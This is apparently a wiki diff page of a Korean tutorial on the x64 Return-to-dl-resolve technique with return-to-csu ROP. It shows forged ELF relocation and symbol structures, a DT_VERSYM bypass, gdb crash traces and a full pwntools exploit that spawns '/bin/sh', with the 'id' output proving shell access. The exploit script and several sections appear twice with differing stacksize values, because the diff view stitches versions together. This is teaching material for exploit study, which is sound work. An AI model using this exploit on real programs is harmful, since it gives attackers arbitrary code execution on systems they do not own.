Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym

  • 다음과 같이 Fake 정보 영역을 확보합니다.

    • addr_reloc 영역은 다음과 같이 계산됩니다.

      • addr_reloc의 기본 영역은 base_stage + 8*26 입니다.

      • 구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.

        • Elf64_Rel 구조체는 ".rela.plt" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.

      • base_stage ~ base_stage + 8*26 영역에는 return-to-csu Code가 저장됩니다.

    • addr_fake_sym 영역은 addr_reloc 에 Elf64_Rel 구조체 크기(24)을 더한 곳에 위치 합니다.

      • 구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.

        • Elf64_Rel 구조체는 ".dynsym" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.

    • addr_fake_symstr 영역은 addr_fake_sym 에서 Elf64_Sym 구조체 크기(24)를 더한 곳에 위치 합니다.

    • addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.

  • 다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.

    • addr_reloc 값에서 addr_relaplt 값을 빼서 값에 Elf64_Rel 구조체 크기(24)를 나누어서 fake_reloc_offset 값을 생성합니다.

      • (addr_reloc

        -

        addr_relaplt)

        /

        24

    • fake_r_info 값은 다음과 같이 생성합니다.

      • addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(24)를 나눕니다.

      • ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 32로 '<<' 연산합니다.

      • ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.

    • addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.

Code Block
languagepy
titleFAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym
stacksize = 0x4000x600
base_stage = addr_bss + stacksize

...

addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)

addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7

fake_reloc_offset	= (addr_reloc - addr_relaplt) / 24
fake_r_info	= (((addr_fake_sym - addr_dynsym) / 24) << 32)	#FAKE ELF32_R_SYM
fake_r_info	= fake_r_info | 0x7								#FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr
Panel
titleReturn-to-dl-resolve

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

  • 해당 문서에서 제공되는 Exploit code에는 "l->l_info[VERSYMIDX (DT_VERSYM)"영역에 값을 0으로 덮어씁니다.
    • "l->l_info[VERSYMIDX (DT_VERSYM)" 코드는 심볼의 버전 정보를 회득하는 부분입니다. 
    • 해당 영역에 값을 0으로 변경하지 않으면 다음과 같은 에러가 발생합니다.
  • 여기서 중요한 것은 "base_stage"영역에 Write(w)권한이 있어야 합니다.
    • 해당 영역에 쓰기권한이 없을 경우 _dl_lookup_symbol_x() 함수 처리중 에러가 발생합니다.
    • 예를 들어 "addr_bss"의 값이 "0x600a00" 일 경우.
      • "stacksize"의 값이 "0x400"이면 "base_stage"의 값이 "0x600e00"이기 때문에 값을 저장할 수 없습니다.(읽기 권한만 있음, 쓰기 권한 없음)
      • "stacksize"의 값이 "0x600"이면 "base_stage"의 값이 "0x601000"이기 때문에 값을 저장할 수 있습니다.(읽기, 쓰기 권한 있음)
Code Block
titlePermission of memory.
gdb-peda$ vmmap 
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	
Code Block
titlegdb -q ./rop core
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop core
Reading symbols from ./rop...(no debugging symbols found)...done.
[New LWP 94008]
Core was generated by `/home/lazenca0x0/Exploit/Return-to-dl-resolve/x64 - x64(feat.Return-to-csu)/rop'.
Program0x00600000 terminated with signal SIGSEGV, Segmentation fault.
#0  _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92
92	../elf/dl-runtime.c: No such file or directory.
gdb-peda$ bt
#0  _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92
#1  0x00007f4f9f9a5923 in _dl_runtime_resolve_avx () at ../sysdeps/x86_64/dl-trampoline.h:112
#2  0x0000000000000000 in ?? ()
gdb-peda$ x/2i $rip
=> 0x7f4f9f99da65 <_dl_fixup+117>:	movzx  eax,WORD PTR [rax+rdx*2]
   0x7f4f9f99da69 <_dl_fixup+121>:	and    eax,0x7fff
gdb-peda$ i r rax
rax            0x400374	0x400374
gdb-peda$ i r rdx
rdx            0x1561b	0x1561b
gdb-peda$
  • 다음 코드는 에러가 발생한 부분의 코드이며, 에러가 발생한 부분은 "l->l_info[VERSYMIDX (DT_VERSYM)" 입니다.
    • if문 안에 있는 코드들은 실행되지 않아도 Return-to-dl-resolve에 영향을 주지 않기 때문에 "l->l_info[VERSYMIDX (DT_VERSYM)" 영역에 값을 변경하여 우회합니다.
Code Block
languagecpp
titlehttps://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#86
	const struct r_found_version *version = NULL;
 
	if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
		const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
		ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
		version = &l->l_versions[ndx];
		if (version->hash == 0)
			version = NULL;
	}

Exploit code

    0x00601000         r--p	/home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00007f63119e5000 0x00007f6311ba5000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
...

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

  • 해당 문서에서 제공되는 Exploit code에는 "l->l_info[VERSYMIDX (DT_VERSYM)"영역에 값을 0으로 덮어씁니다.
    • "l->l_info[VERSYMIDX (DT_VERSYM)" 코드는 심볼의 버전 정보를 회득하는 부분입니다. 
    • 해당 영역에 값을 0으로 변경하지 않으면 다음과 같은 에러가 발생합니다.
Code Block
titlegdb -q ./rop core
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop core
Reading symbols from ./rop...(no debugging symbols found)...done.
[New LWP 94008]
Core was generated by `/home/lazenca0x0/Exploit/dl-resolve/x64/rop'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92
92	../elf/dl-runtime.c: No such file or directory.
gdb-peda$ bt
#0  _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92
#1  0x00007f4f9f9a5923 in _dl_runtime_resolve_avx () at ../sysdeps/x86_64/dl-trampoline.h:112
#2  0x0000000000000000 in ?? ()
gdb-peda$ x/2i $rip
=> 0x7f4f9f99da65 <_dl_fixup+117>:	movzx  eax,WORD PTR [rax+rdx*2]
   0x7f4f9f99da69 <_dl_fixup+121>:	and    eax,0x7fff
gdb-peda$ i r rax
rax            0x400374	0x400374
gdb-peda$ i r rdx
rdx            0x1561b	0x1561b
gdb-peda$
  • 다음 코드는 에러가 발생한 부분의 코드이며, 에러가 발생한 부분은 "l->l_info[VERSYMIDX (DT_VERSYM)" 입니다.
    • if문 안에 있는 코드들은 실행되지 않아도 Return-to-dl-resolve에 영향을 주지 않기 때문에 "l->l_info[VERSYMIDX (DT_VERSYM)" 영역에 값을 변경하여 우회합니다.
Code Block
languagecpp
titlehttps://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#86
	const struct r_found_version *version = NULL;
 
	if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
		const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
		ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
		version = &l->l_versions[ndx];
		if (version->hash == 0)
			version = NULL;
	}

Exploit code

Code Block
languagepy
titleRop.py
from pwn import *
from struct import *
   
#context.log_level = 'debug'
elf = ELF('./rop')
 
# get section address
addr_dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relaplt     = elf.get_section_by_name('.rela.plt').header['sh_addr']
addr_plt        = elf.get_section_by_name('.plt').header['sh_addr']
addr_got    = elf.get_section_by_name('.got.plt').header['sh_addr']
addr_bss        = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read   = elf.got['read']
addr_got_write   = elf.got['write']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rela.plt : ' + hex(addr_relaplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.got     : ' + hex(addr_got))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@got : ' + hex(addr_got_read))
log.info('write@got : ' + hex(addr_got_write))
 
addr_csu_init1 = 0x40060a       #   
addr_csu_init2 = 0x4005f0       #   
addr_leave_ret = 0x00400585	# leave; ret
addr_ret = 0x00400419		# ret
  
stacksize = 0x600
base_stage = addr_bss + stacksize
 
#write(1,addr_got+8,8)
buf1 = 'A' * 72
buf1 += p64(addr_csu_init1)
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_write)
buf1 += p64(8)
buf1 += p64(addr_got+8)
buf1 += p64(1)
buf1 += p64(addr_csu_init2)
#read(0,base_stage,400)
buf1 += 'AAAAAAAA'
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_read)
buf1 += p64(400)
buf1 += p64(base_stage)
buf1 += p64(0)
buf1 += p64(addr_csu_init2)
#JMP base_stage + 8
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(base_stage)		# rbp
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(addr_leave_ret)

binary = ELF('./rop')
p = process(binary.path)
p.recvn(10)  
#sleep(20)
p.send(buf1)

#Get address of addr_dt_versym
addr_link_map = u64(p.read(8))
addr_dt_versym = addr_link_map + 0x1c8

addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)

addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7

fake_reloc_offset	= (addr_reloc - addr_relaplt) / 24
fake_r_info	= (((addr_fake_sym - addr_dynsym) / 24) << 32)	#FAKE ELF32_R_SYM
fake_r_info	= fake_r_info | 0x7								#FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr

log.info('')
log.info('Fake Struct Information') 
log.info('addr_csu_init1 :'+ hex(addr_csu_init1))
log.info('addr_got_read :'+ hex(addr_got_read))
log.info('addr_dt_versym :'+ hex(addr_dt_versym))
log.info('addr_csu_init2 :'+ hex(addr_csu_init2))
log.info('addr_ret :'+ hex(addr_ret))
log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9))
log.info('addr_fake_cmd :'+hex(addr_fake_cmd))
 
#read(0,addr_dt_versym,8)
buf2 = 'AAAAAAAA'
buf2 += p64(addr_csu_init1)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(addr_got_read)
buf2 += p64(8)
buf2 += p64(addr_dt_versym)
buf2 += p64(0)
buf2 += p64(addr_csu_init2)
#Setting argument values of system() function
buf2 += p64(addr_ret)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(base_stage + 8*9)	#address of addr_csu_init2
buf2 += 'B' * 8
buf2 += 'B' * 8
buf2 += p64(addr_fake_cmd)	#"/bin/sh"
buf2 += p64(addr_csu_init2)
buf2 += 'C' * 0x38
#_dl_runtime_resolve(struct link_map *l, fake_reloc_offset)
buf2 += p64(addr_plt)
buf2 += p64(fake_reloc_offset)
buf2 += 'A' * align_reloc
# Elf64_Rela
buf2 += p64(addr_got_read)     
buf2 += p64(fake_r_info)
buf2 += p64(0)
buf2 += 'A' * align_dynsym
# Elf64_Sym
buf2 += p32(fake_st_name)           
buf2 += p32(0x12)
buf2 += p64(0)
buf2 += p64(0)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
 
#sleep(10)
p.send(buf2)
#sleep(10)
p.send(p64(0))
p.interactive()



Code Block
titleGet shell!
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ python exploit.py 
[*] '/home/lazenca0x0/Exploit/dl-resolve/x64/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Section Headers
[*] .dynsym  : 0x4002b8
[*] .dynstr  : 0x400330
[*] .rela.plt : 0x4003b8
[*] .plt     : 0x400420
[*] .got     : 0x601000
[*] .bss     : 0x601040
[*] read@got : 0x601020
[*] write@got : 0x601018
[+] Starting local process '/home/lazenca0x0/Exploit/dl-resolve/x64/rop': pid 19575
[*] 
[*] Fake Struct Information
[*] addr_csu_init1 :0x40060a
[*] addr_got_read :0x601020
[*] addr_dt_versym :0x7f9b90b08330
[*] addr_csu_init2 :0x4005f0
[*] addr_ret :0x400419
[*] base_stage + 8*9 :0x601688
[*] addr_fake_cmd :0x601757
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
Code Block
languagepy
titleRop.py
from pwn import *
from struct import *
   
#context.log_level = 'debug'
elf = ELF('./rop')
 
# get section address
addr_dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relaplt     = elf.get_section_by_name('.rela.plt').header['sh_addr']
addr_plt        = elf.get_section_by_name('.plt').header['sh_addr']
addr_got    = elf.get_section_by_name('.got.plt').header['sh_addr']
addr_bss        = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read   = elf.got['read']
addr_got_write   = elf.got['write']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rela.plt : ' + hex(addr_relaplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.got     : ' + hex(addr_got))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@got : ' + hex(addr_got_read))
log.info('write@got : ' + hex(addr_got_write))
 
addr_csu_init1 = 0x40060a       #   
addr_csu_init2 = 0x4005f0       #   
addr_leave_ret = 0x00400585	# leave; ret
addr_ret = 0x00400419		# ret
  
stacksize = 0x400
base_stage = addr_bss + stacksize
 
#write(1,addr_got+8,8)
buf1 = 'A' * 72
buf1 += p64(addr_csu_init1)
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_write)
buf1 += p64(8)
buf1 += p64(addr_got+8)
buf1 += p64(1)
buf1 += p64(addr_csu_init2)
#read(0,base_stage,400)
buf1 += 'AAAAAAAA'
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_read)
buf1 += p64(400)
buf1 += p64(base_stage)
buf1 += p64(0)
buf1 += p64(addr_csu_init2)
#JMP base_stage + 8
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(base_stage)		# rbp
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(addr_leave_ret)

binary = ELF('./rop')
p = process(binary.path)
p.recvn(10)  
#sleep(20)
p.send(buf1)

#Get address of addr_dt_versym
addr_link_map = u64(p.read(8))
addr_dt_versym = addr_link_map + 0x1c8

addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)

addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7

fake_reloc_offset	= (addr_reloc - addr_relaplt) / 24
fake_r_info	= (((addr_fake_sym - addr_dynsym) / 24) << 32)	#FAKE ELF32_R_SYM
fake_r_info	= fake_r_info | 0x7								#FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr

log.info('')
log.info('Fake Struct Information') 
log.info('addr_csu_init1 :'+ hex(addr_csu_init1))
log.info('addr_got_read :'+ hex(addr_got_read))
log.info('addr_dt_versym :'+ hex(addr_dt_versym))
log.info('addr_csu_init2 :'+ hex(addr_csu_init2))
log.info('addr_ret :'+ hex(addr_ret))
log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9))
log.info('addr_fake_cmd :'+hex(addr_fake_cmd))
 
#read(0,addr_dt_versym,8)
buf2 = 'AAAAAAAA'
buf2 += p64(addr_csu_init1)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(addr_got_read)
buf2 += p64(8)
buf2 += p64(addr_dt_versym)
buf2 += p64(0)
buf2 += p64(addr_csu_init2)
#Setting argument values of system() function
buf2 += p64(addr_ret)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(base_stage + 8*9)	#address of addr_csu_init2
buf2 += 'B' * 8
buf2 += 'B' * 8
buf2 += p64(addr_fake_cmd)	#"/bin/sh"
buf2 += p64(addr_csu_init2)
buf2 += 'C' * 0x38
#_dl_runtime_resolve(struct link_map *l, fake_reloc_offset)
buf2 += p64(addr_plt)
buf2 += p64(fake_reloc_offset)
buf2 += 'A' * align_reloc
# Elf64_Rela
buf2 += p64(addr_got_read)     
buf2 += p64(fake_r_info)
buf2 += p64(0)
buf2 += 'A' * align_dynsym
# Elf64_Sym
buf2 += p32(fake_st_name)           
buf2 += p32(0x12)
buf2 += p64(0)
buf2 += p64(0)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
 
#sleep(10)
p.send(buf2)
#sleep(10)
p.send(p64(0))
p.interactive()


References

...